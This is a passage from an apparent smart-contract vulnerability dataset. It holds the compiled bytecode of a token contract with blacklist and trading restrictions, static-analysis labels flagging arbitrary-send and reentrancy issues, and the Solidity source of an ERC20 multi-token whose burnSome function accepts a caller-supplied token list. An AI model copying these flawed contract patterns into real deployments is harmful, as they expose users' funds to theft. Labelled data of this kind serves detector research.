ffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e0d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d2c6023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613de46029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b6122298161256d565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612927565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242b600861241d600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612456573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124ba60026124ac600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124e5573d6000803e3d6000fd5b5050565b6000600a54821115612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d4f602a913960400191505060405180910390fd5b6000612550612b7e565b905061256581846128dd90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156125a257600080fd5b506040519080825280602002602001820160405280156125d15781602001602082028036833780820191505090505b50905030816000815181106125e257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561268457600080fd5b505afa158015612698573d6000803e3d6000fd5b505050506040513d60208110156126ae57600080fd5b8101908080519060200190929190505050816001815181106126cc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127f75780820151818401526020810190506127dc565b505050509050019650505050505050600060405180830381600087803b15801561282057600080fd5b505af1158015612834573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561286a57600090506128d7565b600082840290508284828161287b57fe5b04146128d2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d9b6021913960400191505060405180910390fd5b809150505b92915050565b600061291f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ba9565b905092915050565b8061293557612934612c6f565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129d85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129ed576129e8848484612cb2565b612b6a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a905750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aa557612aa0848484612f12565b612b69565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b475750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5c57612b57848484613172565b612b68565b612b67848484613467565b5b5b5b80612b7857612b77613632565b5b50505050565b6000806000612b8b613646565b91509150612ba281836128dd90919063ffffffff16565b9250505090565b60008083118290612c55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c1a578082015181840152602081019050612bff565b50505050905090810190601f168015612c475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c6157fe5b049050809150509392505050565b6000600c54148015612c8357506000600d54145b15612c8d57612cb0565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612cc4876138f3565b955095509550955095509550612d2287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612db786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9881613a2d565b612ea28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612f24876138f3565b955095509550955095509550612f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061301783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f881613a2d565b6131028483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613184876138f3565b9550955095509550955095506131e287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061327786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ed81613a2d565b6133f78483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613479876138f3565b9550955095509550955095506134d786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061356c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135b881613a2d565b6135c28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138a85782600260006009848154811061368057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061376757508160036000600984815481106136ff57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561378557600a54683635c9adc5dea00000945094505050506138ef565b61380e600260006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461395b90919063ffffffff16565b9250613899600360006009848154811061382457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361395b90919063ffffffff16565b91508080600101915050613661565b506138c7683635c9adc5dea00000600a546128dd90919063ffffffff16565b8210156138e657600a54683635c9adc5dea000009350935050506138ef565b81819350935050505b9091565b60008060008060008060008060006139108a600c54600d54613c0c565b9250925092506000613920612b7e565b905060008060006139338e878787613ca2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061399d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b600080828401905083811015613a23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a37612b7e565b90506000613a4e828461285790919063ffffffff16565b9050613aa281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613bcd57613b8983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613be782600a5461395b90919063ffffffff16565b600a81905550613c0281600b546139a590919063ffffffff16565b600b819055505050565b600080600080613c386064613c2a888a61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c626064613c54888b61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c8b82613c7d858c61395b90919063ffffffff16565b61395b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613cbb858961285790919063ffffffff16565b90506000613cd2868961285790919063ffffffff16565b90506000613ce9878961285790919063ffffffff16565b90506000613d1282613d04858761395b90919063ffffffff16565b61395b90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200825c08935420c8581c15df4ab30d337960c1dc93eba72c715e77ae93312f44564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,680 |
0xc627b23b5fa02aef1aa35b868309acac7f463580 | pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicMultiToken is StandardToken, DetailedERC20 {
ERC20[] public tokens;
event Mint(address indexed minter, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public
DetailedERC20(_name, _symbol, _decimals)
{
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
tokens = _tokens;
}
function mint(address _to, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = _amount.mul(tokens[i].balanceOf(this)).div(totalSupply_);
}
_mint(_to, _amount, tokenAmounts);
}
function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_mint(_to, _amount, _tokenAmounts);
}
function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]);
}
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function burn(uint256 _value) public {
burnSome(_value, tokens);
}
function burnSome(uint256 _value, ERC20[] someTokens) public {
require(_value <= balances[msg.sender]);
for (uint i = 0; i < someTokens.length; i++) {
uint256 tokenAmount = _value.mul(someTokens[i].balanceOf(this)).div(totalSupply_);
someTokens[i].transfer(msg.sender, tokenAmount);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
interface ERC228 {
function changeableTokenCount() external view returns (uint16 count);
function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress);
function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 amount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 amount);
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
}
contract MultiToken is BasicMultiToken, ERC228 {
mapping(address => uint256) public weights;
constructor(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public
BasicMultiToken(_tokens, _name, _symbol, _decimals)
{
_setWeights(_weights);
}
function _setWeights(uint256[] _weights) internal {
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
weights[tokens[i]] = _weights[i];
}
}
function changeableTokenCount() public view returns (uint16 count) {
count = uint16(tokens.length);
}
function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) {
tokenAddress = tokens[_tokenIndex];
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = toBalance.mul(_amount).mul(weights[_toToken]).div(weights[_fromToken]).div(fromBalance.add(_amount));
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
ERC20(_fromToken).transferFrom(msg.sender, this, _amount);
ERC20(_toToken).transfer(msg.sender, returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
}
contract ManageableMultiToken is Ownable, MultiToken {
constructor(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public
MultiToken(_tokens, _weights, _name, _symbol, _decimals)
{
}
function setWeights(uint256[] _weights) public onlyOwner {
_setWeights(_weights);
}
} | 0x6080604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806315daab90146101ca57806318160ddd146102265780631e1401f81461024d57806323b872dd14610277578063313ce567146102a157806340c10f19146102cc57806342966c68146102f05780634f64b2be14610308578063503adbf61461033c57806359f8714b146103585780635e5144eb1461038457806366188463146103b157806370a08231146103d557806395d89b41146103f6578063a7cac8461461040b578063a9059cbb1461042c578063d73dd62314610450578063dd62ed3e14610474578063e82c6e8a1461049b575b600080fd5b34801561011457600080fd5b5061011d610502565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015757818101518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019e57600080fd5b506101b6600160a060020a0360043516602435610590565b604080519115158252519081900360200190f35b3480156101d657600080fd5b50604080516020600460248035828101358481028087018601909752808652610224968435963696604495919490910192918291850190849080828437509497506105fb9650505050505050565b005b34801561023257600080fd5b5061023b61086f565b60408051918252519081900360200190f35b34801561025957600080fd5b5061023b600160a060020a0360043581169060243516604435610875565b34801561028357600080fd5b506101b6600160a060020a03600435811690602435166044356109fa565b3480156102ad57600080fd5b506102b6610b68565b6040805160ff9092168252519081900360200190f35b3480156102d857600080fd5b50610224600160a060020a0360043516602435610b71565b3480156102fc57600080fd5b50610224600435610d29565b34801561031457600080fd5b50610320600435610d90565b60408051600160a060020a039092168252519081900360200190f35b34801561034857600080fd5b5061032061ffff60043516610db8565b34801561036457600080fd5b5061036d610de8565b6040805161ffff9092168252519081900360200190f35b34801561039057600080fd5b5061023b600160a060020a0360043581169060243516604435606435610dee565b3480156103bd57600080fd5b506101b6600160a060020a0360043516602435611009565b3480156103e157600080fd5b5061023b600160a060020a0360043516611102565b34801561040257600080fd5b5061011d61111d565b34801561041757600080fd5b5061023b600160a060020a0360043516611178565b34801561043857600080fd5b506101b6600160a060020a036004351660243561118a565b34801561045c57600080fd5b506101b6600160a060020a0360043516602435611271565b34801561048057600080fd5b5061023b600160a060020a0360043581169060243516611313565b3480156104a757600080f